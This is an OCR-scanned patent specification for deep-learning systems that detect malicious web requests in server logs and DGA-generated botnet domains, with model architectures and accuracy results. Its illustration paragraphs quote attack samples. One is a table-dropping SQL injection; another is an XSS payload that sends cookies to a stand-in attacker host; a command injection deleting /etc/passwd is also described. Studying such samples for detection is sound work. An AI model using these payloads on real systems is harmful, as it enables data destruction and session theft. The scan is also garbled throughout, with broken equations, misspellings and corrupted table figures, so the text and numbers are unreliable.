[00131) For example, code segments classified as malicious may be prevented from
execution and stored in a quarantined buffer memory location or storage for further review.
On further review, re-classification may oceur, and where a false posifive, or a false negative
is encountered, the system 10 may receive feedback in the form of one or more training sets

to re-tune neural network 20,

[00132] Following through FIG. 3B, the input layer takes any text (e.q., character strings) or
human input. The Convolution layer frames the text with a filter. This result is normalized,
then a dropout layer randomly switches off some selection of filters/neurons during training
to prevent the neural network from over-relying on some filters more than others.

[00133] Inputs can be received various formats by input processor and feature vector
generator 104. For example, a step in the NLP approach is choosing an appropriate
technique to couple the text to the algorithm. This may involve putting together a corpus of
common words (the “bag of words” model), tagging nouns, verbs and prepositions (part of
speech), or even more advanced techniques such as embedding the corpus into a lower-
dimensional vector space. One technique which has shown surprising success is to simply
read text character by character.

[00134] Through training, the structure of words, sentences and even paragraphs can be
predicted. This approach is especially suitable for code classification, where even the correct
type of punctuation used is vital. In contrast, word-based approaches often drop punctuation,
spacing and special characters. Character-level encoding also results in a reduced
vocabulary size (81 characters including lower and upper case, numbers and symbols).
The downside of this approach is that it vastly increases the sequence length being fed into
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a recurrent neural network. However, this issue is mitigated by the introduction of

convolutional layers.

[00135] In order to input the code into the first layer of the neural network, each character
is first mapped o an 81 dimensional vector by input processor and feature vector generator

104, where all but one of the elements is set to zero.

[00136] The remaining unique elerment is of unit value, representing that characters
location in the vocahulary. This is a process known as one-hot encoding. The next step is
ensuring that all the samples have the same sequence length. This can be achieved by
setting the sequence dimension in each sample to be the length of the longest sequence,
and padding any remainder with empty vectors. The result is a [T] * |V| sparse matrix, where
[T| and [V| represent the length of the sequence and vocabulary respectively.

[00137] The next step is to feed this matrix into the first layer of the neural network 20: the
convolutional layer, provided by convolution layer engine 108 (which may have one or more

convolutional layers),

[00138] Convolutional neural networks (CNNs) are especially robust at detecting patterns,
even under translation, rotation or re-scaiing. In some embodiments of the model, the
convolution layer engine 108 utilizes one or more one-dimensional (1D) CNNs, where the

dimension in this case is the sequence of text.

[00139] A CNN layer is provided by convolution layer engine 108, made up of a set of
He Réﬁs filters, each with length d, which scan across a matrix of information, with

some stride s.

{00140] In this example, the matrix is a sequence X{) of T |V|-dimensional vectors
(e1,€2,...,€17). As the CNN filter only scans in one dimension, it too is a matrix with dimensions

V| % d.

[00141] After convolving, a vector Ft' of length |F| is generated where each element is

defined as:
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FE () =g > X (s~ t+0) . 1)
[00142) .

[00143] Here the prime notation is used in ' to denote the possibility that the resulting
sequence length may be sharter than length T , and ¢ is an offset constant. The element-
wise product of the filter ¥ and the sequence of text X(t) are passed through a non-linear
activation function ¢, which outputs a single scalar.

[00144) In an example, a rectified linear unit (Relu) can be utilized, conﬁguréd to discard
out any negative values and retains all positive values. This activation function can be
advantageous for two reasons: it is computationally cheaper than other nan- linear functions,
and it doesn't suffer as much from the vanishing gradient problem.

[00145] The resulting vector of activated values Ft' is then passed on to the next layer.

[00146] The following layer may be another CNN layer, with its own receptive field d and its
own stride value s , or it may be a different form of neural network, such as a recurrent layer
to help get a better sense of a 1D CNN in operation, FIG. 1A illustrates a single filter, with
receptive field d = 3 and stride s = 2, scanning over a string of text for 3 steps.

[00147] For improved compression, a convolution layer can be run iteratively by the
convolution layer engine 108 with an increased stride which effectively reduces the size of
the data being analyzed. By the time the system has completed the third convolution layer
in FIG. 3C, for example, the size ¢f the data is 1/4 of the original size. Other numbers of

convolution iterations are possible.

[00148] This data is provided as an input into a bidirectional recurrent layer, called a Long
Short Term Memory layer (LSTM) 110.

[00149] Recurrent Neural Networks (RNNs) are useful. Specifically, gated RNNs such as
the long-term short-term memory (LSTM) network 110 are employed to remember far back
into the history of a sequence while processing the latest value. The following is the output of
a single cell (the hidden state of the LSTM) at a given time step:
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[00151] where X; is a single time step from a sequence (X, . . -, Xy) and hg = 0. The LSTM
110 builds upon the basic RNN by adding gated memory. The final output of an LSTM for a

given time step x, is

00152] ht = ot © tanh{ct). (3)

[00153] This equation is a product of the RNN equation:

(oo154] %7 o (Wo -xp +Ug - hyg + by) (4)

[00155] and the memory cell ¢;;

[0o158) Tt = O 1 +50c(We-xt+Ug-hpq +be). {5)

[00157] The memory cell is composed of two key gates, the input and forget gate,
respectively:

ootsg) T C (Wi -x¢+ Ui - hieg + by) (6)

[00159] ft = G‘(“ff < Xt +Uf' . ht—l +bf).

[00160] In all of the above notation W and Uf are weight matrices, b are bias vectors and ¢
is the sigmoid function:

1
a(x) = -
[00161] 1+ exp

(8)

[00162] The purpose of the input and forget gates is to provide more control on what the
cell remembers. Through training, it can assign a level of importance to new information as
well as consider erasing non-relevant past information.
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[00163] RNNs are configured to remember information from the future, in that some cells
work backwards from the end of a sequence. The results for each time step can then be
merged at the output, resulting in what is known as a bi-directional RNN.

[00164] Techniqgues and approaches for regularization and re-parameterization are
described below. One of the biggest challenges of deep learning is ensuring that a neural
network is generalizable. That is, when faced with a previously unseen test set, the neural
network will perform as welt as it did in training. Neural networks that do not perform well
with the test set but do with the fraining set are said to be over-fitted to the training data. In
order to prevent this from happening, regularization is a reliable approach.

[00165] Dropout is a technique than randomly switches off hidden units during training.
The technique forces the hidden units to be effective in many contexis.

[00166] This a form of ensemble leaming, and it is effective at preventing over-fitting. In the
case of CNNs, dropout is applied to the filters, while in the case of RNNs, dropout has two
values: one is applied to the input sequences, while the other is applied to the memory cells.
As with all hyper-parameters, the proportion of neurons that are switched off must be

determined by careful selection over mulfiple training sessions.

[00167] Another helpful technique is batch normalization, conducted by batch normalization
engine 106. Rather than prevent over-fitting, it helps speed up training and can improve
accuracy. Neural networks 20 can be trained batch-wise, meaning that a small portion of the
training set is passed through the network, before updating the weights.

[00168] However, data between batches can differ wildly, causing the weights of the
network to struggle to fit to the right values. The batch normalization engine 106 is
configured to first scale and shift each batch X, and then forces each batch to the same

shared mean (8) and variance (y).

Xi— Ui |
BN = 2wy + 8 - 9)

[00169] Oj

CAN_DMS: \111331568\1 -97 - . . Cyberbot Hunters

CA 3000166 2018-04-03



10

15

20

[00170] The result is that data is more standardized, whilst preserving the expressive

power of the neural network.

[00171] The following paragraphs describe training. The purpose of supervised learning is
to tune the weights of a given neural network to just the right values, so that when given
some input as part of regression problem, be it linear or logistic, it can cotrectly predict the
right output. In order to do this, one needs to devise a loss function that measures the quality
of these weights by comparing the predicted values to the ground truth.

[00172] In an example embodiment, the system is configured to utilize a binary cross-

entropy measure.

[00173] Letp €{y, 1 -y} represent the probability distribution of the ground truth, while g
e{y", 1 ~ y'} is that of the model. The loss function L (6) for a given set of parameters 8 is
then given by:

N
1 1 . n
L(6) = EH (Pn.gn) = ——N-“ Z [ynlogfn + (1 - yn)log (1 “Hn)]
oon

[00174] (10)

[00175] Next, the system 10 is configured to minimize this loss with respect to the
parameters, Naively, one might try to salve this analytically, but for the number of
parameters and training samples typically encountered in machine learning, this is not

feasible.

[00176] Instead the weights are updated via stochastic gradient descent (SGD):

[00177] 8=0-n-VaL(b, xn,yn) (11)

where 1 is the learning rate. A medified form SGD called Adarn™ can be used which has

adaptive learning rates.

[00178) The output of that is then classified by classification layer 112 as malicious or not,
and the result ¢an be provided in a visualization interface, e.g., configured to show text as
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visualized in FIG. 4. Example source code is provided in FIGS. 5-8, in screenshots 500,
600, 700, and 300,

[00179] FIGS. 9 and 10 are further example text snippets 900 and 1000 that may be used
as fraining data.

[00180] FIG. 15 includes pseudo-code 1500 that may be used, for example, to invoke the
neural network of some embodiments, including example parameters for the various layers.

Implementation Example and Experimental Results - 1

[00181] Applicants trained a neural network on a computing device having a GTX 1060™
video card, a Core i7™ processor & 16 GB of random access memory. The experimental
system Was trained on ~50,000 samples over 10 epochs, each epoch taking approximately
250 seconds.

[00182] As illustrated in the chart 1000 of FIG. 10, the trained system was able fo achieve
aver 98% in accuracy, precision and recall on a test batch of 5000 samples. Given that most
threats are not one-time attacks but a series of benign requests followed by én attack, the
system may be configured, in some emhodiments, to scan over the full (or a substantially
large portion of) history of requests from a client.

[00183] In further embodiments, the system and method may be configured to generate
malicious code using a reverse approach. A good candidate for generation of code is an
attention model (e.g., as shown in FIG. 18 where aftention is placed on various words based
on text block 1800). For example, in order to improve upon enterprise applications like
AppScan™, malicious code could be generated. Code generated by an LSTM looks like
code, but in reality is nonsense. Actual working code could be generated by reinforcement

learning, or perhaps even using a Generative Adversarial Network (GAN).

[00184] Using a linear regression approach, Applicants were able to obtain an accuracy of
89%, similar to the heuristic method.

[00185] A basic example of a feed-forward network, the vanilla neura network, were able
to obtain an accuracy of 92%. Using a single convolutional layer only, the system obtained
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an accuracy of 93%. Applicants hypothesize that it was not computationally feasible to
try out a single LSTM only, as the CNN layer reduces the dimensionality.

[00186] Finally, without any of the regularization techniques, such as dropout and batch
normalization, Applicants were able to abtain an accuracy of 97%.

[00187] [mprovements to the model relating to an improved metric approach yielded a 99%

accuracy given a specific set of test inputs.
Implementation Example and Experimental Results - 2

[00188] A second implementation was conducted on a second example neural network,
trained on a laptop with a 2.6 Ghz quad- core intel i7 processor, 16 GB of memory and a
GeForce GTX 1060. The code was implemented in Keras [with a GPU-enabled Ten sorflow
framework. For the model selected below, each {fraining epoch took approximately 100
seconds to run, with 10 epochs run in total.

[00189] The final model selected was an optimal balance of depth, capacity and
generalizability. After encoding the text to one-hot vectors, the data was fed ihte the first of
three convolutional layers. Each convolutional layer had a receptive field d = 7. This value
was suffidiently large for most words, while not so large that any signal could be lost within
the receptive field. Each CNN had 16 filters in total. The first CNN layer had a stride step of s
= 1, while the second and third had a stride step of s = 2. This effectively quartered the
sequence length by the time it had reached the RNN.

[00190] Afier each of the first two CNN layers, batch normalization and dropout (with a ratio
of .1) were applied. The next layer was the bidirectional LSTM, which had 32 cells, and had
dropout ratios of 0.4 and 0.15 to the input and memory respectively. Finally the classification
layer was a simple sigmoid function of the LSTM output. Training was done batch-wise, with
a batch size of 384 samples, over ten epochs in total. The loss function used was binary
cross-entropy and the optimization approach employed was Adam™ with a learning rate of
0.002. In Table 1, Applicants compare the system to various different versions and their

performance as measured by accuracy.
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[00191] TABLE 1:

Qrr Model

Layer Units | Activation | BN | Dropout | Accuracy
CINMN{Z,1) | 16 Relu Yes | 0.4 99.00%
CNN(7.2) | 16 Relu Yes | 0.1 Epochs
CNN(7.2) | 16 Relu No | No 10
Bi-ISTM | 32 Tanh Na | (0.40.15)

Dense 1 Sigmoid Ne | No

Quarter Capacity

Layer Units | Activation | BN | Dropoul | Accuracy
CNN(7,1) | 4 Relu Yes | 0.1 97.00%
CNN(7.2) | 4 Relu Yes | 0.1 Epuchs
CNN(7.2) | 4 Reln No | No 10
Bi-lSTM | & Tanh No | (0.4,0.15)

Dense 1 Signtoid Ne | No

Without regularization

Layer Units | Activation | BN | Dropout | Accuracy
CNN(7.1) | 16 Relu No | No 95.00%
CNN(7,2) | 16 Relu No | No Epochs
CNN(7,2) | 16 Relu No | No 10
Bi-LSTM | 16 Tanh No | No

Dense 1 Sigmoid No | No

CNN Only

Layer Units | Activation | BN | Dropout | Accuracy
CMMN(7,1) | 16 Relu No | No 93.00%
CNN{7,2) | 16 Relu No | Ne Epochs
CNN{7,2) | 18 Relu No | No 10

KLP

Layer Units | Activation | BN | Dropout | Accuracy
Dense 14 Ralu No | No 88.00%
Depse 16 Relu No | No Epochs
Dense 16 Reln No | No 20

Dense 16 Relu No | No

Dense 1 Sigmoid No | No

[00192] The data set employed was a collection of 50,000 server logs, obtained from
various security audits. The data set is split into two classes of roughly the same size,
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malicious and benign. Amongst the malicious class are examples of SQL injection (SQLI),
cross-site scripting (XSS), path traversal, information retrieval with malicious intent and
double-encoding. A random 10% of the dataset was set aside for testing, while the rest was
used in training the neural network. The remaining training set was randomly split 80/20 into
training and validation sets during each epoch.

[00193] When the test set was applied to the final model, an accuracy of 99% with similar

values of 99% for precision and recall.

[00194] Precision is defined as

recision true positive (12)
cision = — ——
[00195] P true positive + false positive
while recall is defined as
call true positive (13)
recall = .
{00196} true positive + false negative

[00197] On the same hardware that the mode! was trained on, 5000 training samples were
processed in just over 3 seconds. The model itself is easily scalable to speeds necessary for
enterprise deployment. For example on similar hardware, but with double the GPU memory,
the sample set was processed in under 3 seconds. The model accuracy compares extremely
favorably with a human expert tester, who got an accuracy of 99% on a test set of 1000
samples in under 30 minutes.

[00198] An open source web application penetration testing software, OWASP Zed Attack
Proxy (ZAP)™, was then fested on the same dataset. In this case both the training and test

portions were used.

[00199] Each of these three approaches are compared in Table 2. Note that despite the
fast speed of the light-weight heuristic approach, its rate of detection is still nearly half that of

the system of some embodiments,
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[00200] TABLE 2: Comparison table of the neural network 20 with a human and heuristic

benchmark. Speed is in units of samples per second.

Acurracy | Precision | Recail | Speed
Meuvral 9% 9% 95% 1475/
Human | %%% 29% 9% 0,6fs
Heunristic | 64% £6% 43, 800/s
Visualization

[00201] In order to interpret how the algorithm makes its decisions, it is important to
understand how the neural network is processing. To this end, in some embodiments, a
visualization is rendered that illustrates the similarity between the thought processes of

humans and neural networks.

[00202] The following figures are direct representations of the values assigned by various
hidden cells to each letter in a sequence; the darker the font, the more important that letter is
to the hidden unit.

[00203] The “thought-process” of the neural network is provided in the form of a
visualization 400, at FIG. 4. FIG. 4 illustrates a server log where the neural network has
identified suspicious snippets of code 402, The visualization demonstrates the feature
importance of a malicious sample after it has passed through the bi-directional LSTM.

[00204] In FIG. 4, the SQLi attack is illustrated with a bold text 402 compared to the
remaining text. This indicates that the system identifies and/or determines this text 402 to be
relevant in deciding that the code is malicious. More specifically, FIG. 4 is a visualization of

a single cell of the LSTM layer, for a given sample.

[00205] FIGS. 16 and 17 illustrate sample visualization outputs 1600 and 1700 that may be
provided by the system. FIG. 16 illustrates an early identification of malicious cede, while
FIG. 17 shows a more refined identification of malicious code. As depicted in FIGS. 16 and
17, differing visual features may be imposed on the text (e.g., to highlight malicious code or
hide benign code).
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[00206] FIGS. 20A-20C shows an example of a SQL injection, being processed at different
layers of the neural network. The full injection reads as:

[00207] “%27%3B + DROP +TABLE +usuarios%3B + SELECT + * + FROM + datos + W H
ERE + nombre + LIKE + %27%25".

[00208] The three separate images 2000A, 20008, and 2000C correspond to a hidden unit
from layers 1 (CNN), 3 (CNN) and 4 (RNN) respectively.

[00209] Note that not all the highlighted characters may be relevant, especially in hidden
units from the first layer. In the first layer, some of the relevant text is selected, but there is
also a great deal of irrelevant information selected. In the final hidden layer however, more
sophisticated representations are possible, and the hidden unit is able to hone in on the
precise string of malicious code, while ignoring irrélevant code. The reader may notice a
slight crescendo/decrescendo on either side of the injection; this is an indication of the RNN
getting excited, and then calming down, as it runs through the sequence.

[00210]) Anocther key point is that the words that are SQL commands are given greater
importance by the neural network. FIGS. 20A-20C illustrate that with increased depth in a

neural network, one ¢an obtain increased representational power.

[00211] The remaining figures will focus only on units frem the final hidden layer, and serve
not only to demonstrate the attention-like mechanism of the neural network, but also the
scope of its detection capabilities.

[00212] The next example 2100 shown in FIG. 21 is a malicious attack that was double-
encoded, designed to get past systems that only decode data once. The full attack actually
reads "user name =< script > document .location = ‘hitp:/fattackerhost.example /cgi -
bin/cookiesteal .cgi?+ document .cookie < fscript >7”. In this case, the neural network 20
has learned to pick up the fractal-like pattern of double url-encoding. This approach is
essentially a slightly more sophisticated version of the attack shown in FIG. 22. In FIG. 22,
illustration 2200 shows the malicious agent attempting a persistent cross-site scripting
(XSS) attack, where any visitors to the site will have their session retained and redirected to
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the malicious agents site and all of their cookie information stolen. This enables further,

more personalized attacks in the future.

[00213] The system 10 can alsc detect session hijackings, where a malicious agent
intercepts a trusted client's cookie, injects their own, and gains conirol over the client's login
session; complete with all Iogin privileges. FIG. 23 illustrates such an attack 2300 being
detected.

[00214] Another curious appreoach is a form of command injection. In the illustration 2400 of
FIG. 24, the hidden unit is picking up on an attempt to remove any password reguirements
by deleting the /etc/passwd directory. Again, as with the previous examples, the font is
darkest (most important) on the key paris of the malicious string.

[00215] Finally, it is interesting, and also instructive, to examine one of the cases where
the system 10 fails. In the illustration 2500 of FIG. 25, the system is presented a malicious
data probe that was incorrectly marked as benign by the approach. In this case the individual

actions of the malicious agent are not obviously untoward.

[00216] However, when viewed collectively, it is clear that the agent is probing the system
for weaknesses via the types of errors they receive.

[00217] The false negative can then be understood in the sense that this probe would
appear very close to a genuine login attempt within the vector space of samples created by
the neural network 0. More training examples of such probes may remedy this. It is worth
noting that despite misclassifying the sample, this hidden unit was investigating in the correct

location,

[00218] The approach outlined focused on analyzing server logs for malicious code in an
independent fashion. In other words, the full history of an individual's server requests are not
being considered. Given that many malicious attacks are preceded by a pattern of
reconnaissance probes, it would be interesting to expand the scope of the approach to take
this inte account. However, due to massive increase in sequence length, this would require

new, more ¢apable methodologies.
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[00219] The recent boom in deep learning has bomn fruitful cutcomes for Natural Language
Processing. In tum, using such NLP techniques in cybersecurity proves to be remarkably
effective. Applicants present an approach with accuracy, preciéion and recall levels that are
indistinguishable from those of a human expert.

[00220] The neural net- work successfully détected and highlighted attacks from a broad
variety of complex techniques; cross-site scripting, SQL injection, command injection,
session hijacking and double-encoded attacks, to name a few. In contrast, the open-source
heuristic approach performed significantly worse on the same dataset.

[00221] Moreover, the neural network performs these tasks at a rate that is orders of
magnitudes faster than that the other fwo benchmarks.

[00222] The fact that the approach is able to achieve all this, and infer full coherent
malicious phrases after being fed merely a sequence of letters, is all the more surprising.
While the approach taken here is using a supervised leaming algerithm, other deep learning
approaches could be effective. For example, one could try an unsupervised leamning
approach using auto-encoders to perform outlier detection. In any case, the key contribution
of deep learning is that it is a form of representation learning, meaning that a neural network
can learn and extract highly non-linear features of data. This non-linearity is essential; one
cannot linearly discriminate between code when tricks such as double-encoding are

employed.

[00223] As artificial intelligence continues to advance in making complex reasoning, it is

inevitable that it will play a larger role in cybersecurity.

[00224] Structured prediction is possible. For example, there already exists a method of
generating accurate-looking images by drawing from a probability distribution of fraining
images. This method, known as a generative adversarial network (GAN), can generate
human faces indistinguishable from genuine ones. It is contemplated that it is possible to
utilize a GAN to generate malicious code Already there exist algorithms that predict whole
passages when presented with a single phrase or letter. While these generated phrases
can have accurate spelling, vocabulary, punctuation and eveﬁ grammar, they mostly veer
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into the surreal and incoherent. This is partially due io the fact that text is discrete, and
typically deep learning requires differentiable data if it is going to generate it.

[00225] FIG. 19 is a schematic diagram of computing device 1900, exemplary of an
embodiment. As depicted, computing device 1900 includes at least one processor 1902,
memory 1904, at least one /O interface 1906, and at least one network interface 1908.

[00226] Each processor 1902 may be, for example, microprocessors or microcontrollers, a
digital signal processing (DSP) processor, an integrated circuit, a field programmable gate
array (FPGA), a reconfigurable processor, a programmable read-only memory (PROM), or

combinations thereof.

[00227] Memery 1904 may include a suitable combination of computer memory that is
located either internally or externally.

[00228] Each I/Q interface 1906 enables computing device 1900 to interconnect with one
or more input devices, such as a keyboard, mouse, camera, touch screen and a

microphone, or with one or more output devices such as a display screen and a speaker.

[00229] Each network interface 1908 enables computing device 1900 to communicate with
other components, to exchange data with other components, to access and connect to
network resources, to serve applications, and perform other computing applications by
connecting to a network (or multiple networks) capable of carrying data including the
internet, Ethernet, plain old telephone service (POTS) line, public switch telephone network
(PSTN), integrated services digital network (ISDN), digital subscriber line (DSL), coaxial
cable, fiber optics, satellite, mobile, wireless (e.g. Wi-Fi, WiMAX), SG7 signaling network,
fixed line, local area network, wide area network, and others, including combinations of
these. Computing devices 1900 may serve one user or multiple users.

[00230] The embodiments of the devices, systems and methods described herein may be
implemented in a combination of both hardware and software. These embodiments may be
implemented on programmable computers, each computer including at least one processor,
a data storage system (including volatile memory or non-volatile memory or other data
sforage elements or a combination thereof), and at least one communication interface.
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[00231] Program code is applied to input data to perform the functions described herein
and to generate output information. The output information is applied to one or more output
devices. In some embodiments, the communication interfface may be a network
communication interface. In embodiments in which elements may be cdmbihed, the
communication interface may be a software communication interface, such as those for
inter-process communication. In still other embodiments, there may be a combination of
communication interfaces implemented as hardware, software, and combination thereof.

[00232] Throughout the foregoing discussion, numerous references will be made regarding
servers, services, interfaces, portals, platforms, or other systems forred from computing
devices. It should be appreciated that the use of such terms is deemed to represent one or
more computing devices having at least one processor configured to execute software
instructions stored on a computer readable tangible, non-transitory medium. For example, a
server can include one or more computers operating as a web server, database server, or
other type of computer server in a manner fo fulfill described roles, responsibilities, or

functions.

[00233] The term “connected” or "coupled to" may include both direct coupling (in which
two elements that are coupled o each other contact each other) and indirect coupling {in
which at least one additional element is located between the two elements).

[00234] The technical solution of embadiments may be in the form of a software product.
The software product may be stored in a non-volatile or non-transitory storage medium,
which can be a compact disk read-only memory (CD-ROM), a USB flash disk, or a
removable hard disk. The software product includes a number of instructions that enable a
computer device (personal computer, server, or network device) to execute the methods

.provided by the embodiments.

[00235] The embodiments described herein are implemented by physical computer
hardware. The embodiments described herein provide useful physical machines and
particularly configured computer hardware arrangements. The embodiments described

herein are directed to electronic machines and methods implemented by electronic
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machines adapted for processing and transforming electromagnetic signals which represent

various types of information.

[00236] The embodiments described herein pervasively and integrally relate to machines,
and their uses; and the embodiments described herein have no meaning or practical
applicability outside their use with computer hardware, machines, and various hardware
components.

[00237] Substituting the physical hardware particularly configured to implement ‘various
acts for non-physical hardware, using mental steps for example, may substantially affect the
way the embodiments work. Such computer hardware limitations are clearly essential
elements of the embodiments described herein, and they cannot be omitted or substituted
for mental means without having a material effect on the operation and structure of the
embodiments described herein. The computer hardware is essential to implement the
various embodiments described herein and is not merely used to perform steps

expeditiously and in an efficient manner.

[00238] Although the embodiments have been described in detail, it should be understood
that various changes, substitutions and alterations can be made herein,

[00239] Moreover, the scope of the present application is not intended to be limjted to the
particular embodiments of the process, machine, manufacture, composition of matter,
means, methods and steps described in the specification. As one of ordinary skill in the art
will readily appreciate from the disclosure, processes, machines, manufacture, compositions
of matter, means, methods, or steps, presently existing or later to be developed, that perform
substantially the same function or achieve substantially the same result as the
corresponding embodiments described herein may be utilized.

[00240] As can be understood, the examples described above and illustrated are intended

to be exemplary only.

Cyberbot Network Detection
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[00241] Using a single hard-coded domain name that resolves to the location of a
centralized command and contral server can make a cyberbot network easy to shut down
with the aid of DNS (domain name servers) providers and internet service providers.

[00242] To avoid this, cyberbot networks have been designed to locate their command and
control server using automatically generated demain names. Each bot can peariodically
execute domain generation algorithms (DGA) to produce one or more candidate domain
names.

[00243] Communication with the command and control server is enabled when one of the
domain names resolves o the IP address of the command and control server. However,
even if a particular IP address or domain name is discovered and shut down, the command
and control server can be simply be relocated to another IP address which will be resolved
by a subsequently-generated domain name. DGAs may generate domain names that are
different from human-generated domain names. In some situations, this difference may allow
DGA-generated domain names to be identified.

[00244] In one approach, edit distances can be used to determine randomness in the
domain name. Edit distances rely on quantifying dissimilarities between two strings. [n some
instances, edit distances may have a high dependence on the position of the characters in

the domain name.

[00245] DGA-generated domain names may have some aspect of non-randomness. In
particular, patterns emerge from the algorithms employed by cyberbot netwarks that indicate
a vulnerability that may be exploited by systems configured to track and identify damain
names / IP addresses associated with cyberbot networks, including domain names / 1P
addresses associated with the command and control server (in some cases, there may be
multiple command and control servers. The underlying IP addresses associated with the
domain names may also have patterns associated with them, as cases where multiple
domains resolve to the same IP address, and where many DNS lookup requests are not
resolved may be indicative of the potential benign-ness or maliciousness of a domain name.
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[00246] Access attempts may be logged, for example, for example, to track sent and
received data packets.

[00247] For example, cybernet networks may be utilizing simple modifications to iterate
through a series of domain names (e.g., malicioussite1.com, malicioussite2.com), or
madifying TLDs (e.g., malicioussite1.com, malicioussite1.co), among others. Domain names
may be seemingly random characiers that appear to Dbe gibberish
(fsdpofkodkd123pharmacy.com), but the approaches utilized to generate large numbers of
domain names may include simple, non-random varjations.

[00248] In some embodiments, natural language processing can be used to identify DGA-
generated domain names. In some embodiments, advanced neural networks, or
combinations of convolutional neural networks (CNNs) and recurrent neural networks (RNN)

can be used.

[00249] A dataset, which can be used for training and testing the architectures described
herein or otherwise, includes DGA-generated domains and whitelisted domains. In some
embodiments, the benigh domains include the Alexa™ top million sites, containing a list of
the most popular legitimate website domain names. In some embodiments, the set of benign
domains consists of these million sites. In other embodiments, the set includés a 'subset of
the Alexa™ top million sites and/or may include additional whitelisted domain names.

[00250] In some embodiments, the set of DGA-generated domains are generated using

reverse engineered generatars to mimic the behavior of cyberbot software.

[00251] In some embodiments, a training set can be a balance between the two sets. In
some test scenarios, a cross-validation model was used whereby 80% of the data was used
to train and validate the model, and the remaining 20% of the data was used as an unseen

{est set.

[00252] FIG. 26 shows aspects of a dataflow 2600 for an example CNN-RNN architecture.
At 2610, one or more processors in the system normalize the DGA domain names 2602 and
the whitelisted domain names 2604. In some embodiments, the processors pad the domain
names so that each input is of constant length. In some embodiments, the processors
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calculate the length of the longest domain name in the dataset and pad shorter domain
names with empty characters.

[00253] In some embodiments, the domain names are stored as strings. The procéssors. in
some embodiments, one-hot-encode each siring, such that each character is represented by
a 1D array of zeros and a single digit of 1, the index of which represents the character. The
output of this preprocessing step is a 2D matrix representing the domain name; the height of
the matrix representing the character at a particular position, and the width of the matrix
representing the length of the domain.

[00254] At 2620, data from the 2D matrices for the domain names are provided as inputs to
a 1D convolution network. In some embodiments, the convolution network has a filter size of
four. In some situations, the 1D convolution network can condense a sparse matrix into a
large number of feature maps. In some embodiments, the convolution network includes

three convolutional layers.

[00255] In some embodiments, the convolution nstwork is followed by a bidirectional Long
Short Term Memory (LSTM) network 2630. The output of the LSTM is then flattened back
into a 1D array before being mapped to a simple oufput node representing the classification
score 2640,

[00258] In some embodiments, regularization is applied through dropout applied at 0.2,
meaning that 20% of the perceptron activations are nulled during the training process. In
some embodiments, batch normalization is also added in the network which has been shown
to reduce overfitting. In some embodiments, the model can be built using Keras™ on a
TensorFlow™ backend.

[00257] FIG. 27 shows aspects of an example neural network architecture 2700 which
may, in some embodiments, be utilized by the dataflow of FIG. 26. In some embodiments,
different filter sizes can be incorporated into the convolution and recurrent steps than the

values shown in FIG. 27.

[00258] FIG. 28 shows aspects of another example neural network architecture 2800
which may, in some embodiments, be utilized by the dataflow of FIG. 26. As illustrated by
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FIG. 28, in some embodiments, different filter sizes can be incorporated into the convolution

and recurrent steps.

[00259] In some embodiments, instead of a single fiter size, multiple filter sizes can be
used to train different convolution layers. FIG, 28 shows an example embodiment, where
three convolutional networks with different filter sizes are used; however, other numbers of
convolutional networks and filter sizes can he used. The three convolutional networks are
fed into three LSTMs. The processed outputs are appended together to form a single array
and fed into a dense layer with a single output node representing the classification score.

[00260] In some instances, aspects of some of the embodiments described herein or
otherwise may provide deep learning models for DGA classification to detect cyberbots on
secure and/or internal networks.

[00261] In some embodiments, one or more processors can provide a neural network
including a CNN and an RNN to generate a DGA score. In some embaodiments the neural
nefwork can be trained using a balanced dataset of DGA and benign domains.

[00262] In some embodiments, the neural network architecture can be a binary
classification tool to defect cyberbots based on their DGA behaviour. As described herein or
otherwise, a base architecture can include a two-part neural network with an initial
convolution phase followed by a bidirectional LSTM. In some embodiments, the architecture
¢an build on the base architecture, and can for example, incorpeorate varying filter sizes to

create an inception architecture.

[00263] In some embodiments, the DGA domain detecting architecture can be combined
with other systems and/or processes for detecting bot activity. In some embodiments, these
other systems and/or processes can include supervised and/or unsupervised learning
models, and/or ather classification algorithms. In some instances, such systems and/or
processes may be able to detect new DGA algorithms and may be able to find bot activity

more quickly and more accurately.

[00264] In some embodiments, the classification score can be used to block a DNS-lookup
for a suspected DGA-generated domain name. In some embodiments, the classification
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score can irigger a nofification that a device in the system may be compromised with

malware.,

[00265] In use, the trained neural network can be a system for detecting cyber bots (or
botnets) operating on a computer or in an enterprise environment. The system can, for
example, be provided as a2 "man in the middle” device that is configured to capture sent and
received data packets, for example, as an interceptor or a packet sniffer (e.g., provided in
the form of a security intermediary device).

[00266] The system configured to identify repeated access of many nonsensical domain
names, and provide them as inputs inte the trained neural network. Natural language
processing is used to process the extracted host names to determine which are likely to be
real and which generated. The system is also configured to conduct pattern recognition on
cases where multiple domains resolve to the same IP address, and where many DNS lookup
requests are not resolved. The output of the system is to raise a flag for a person to review
the flagged access, ar generate a data structure indicative of how confident the neural
network is at identifying that the host name is malicious. |

[00267] The discussion herein provides many example embodiments of the inventive
subject matter. Although each embodiment represents a single combination of inventive
elements, the inventive subject matter is considered to include all possible combinations of
the disclosed elements. Thus if one embodiment comprises elemenis A, B, and C, and a
second embodiment comprises elements B and D, then the inventive subject matter is also
considered to include other remaining cambinations of A, B, C, or D, even If not explicitly
disclosed.

[00268) In some embodiments, systems, methods, and computer-readable media are
provided for implementing malicious code detection using deep learning techniques, among
others. Bot and DGA-generated domain detection is a challenge that has become prevalent
in the modern, electronic signal-driven world, especially after the proliferation of internet and

communications technologies.
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[00269] Bot and DGA-generated domain detection is a problem that arises in view of
technological improvements, that exists on a massive scale. It is not.a human-based
problem, nor does a human-based solution exist. As such, a sufficient technological
response is needed, and the computer-implemented systems and methods described below
are capable of classifying malicious code in a variety of forms. 4

[00270] A neural network may include, for example, three layers: an input layer, a hidden
tayer and an output layer. The hidden layer is a linear combination of the input x and a bias
(e.g., z=Wx+b). A sample neural network diagram is shown at FIG. 12. These neurons are
then activated via some nonlinearity (e.g., a=tanh (z)). The cutput layer is configured to
generate an assessment of input layer (e.9., Dog/Cat), and errors are corrected via back
propagation,

[00271] Convolutional Neural Networks are typically used with images (e.g., image
classification), and CNNs scan across an image with filters that pick out different patterns,
for example, as shown in the example of FIG. 13. Each successive layer picks out more
complex patterns, and CNNs can be used for also be used for natural language processing
(NLP).

[00272] Recurrent neural networks are configured to process with sequenced data (eg.,
time series or text), and the hidden state of an RNN may be updated with the latest data
point along with a history of all previous data points. The RNN has a memory of past events,
and this may be particularly useful in NLP when relevant text is in different parts of a sample.
There are different flavours of RNN such as LSTM and GRU.

[00273] The system and method of some embodiments provides a DGA-generated domain
detection neural network where DGA-generated domain detection is treated as a Natural
Language Processing (NLP) problem.

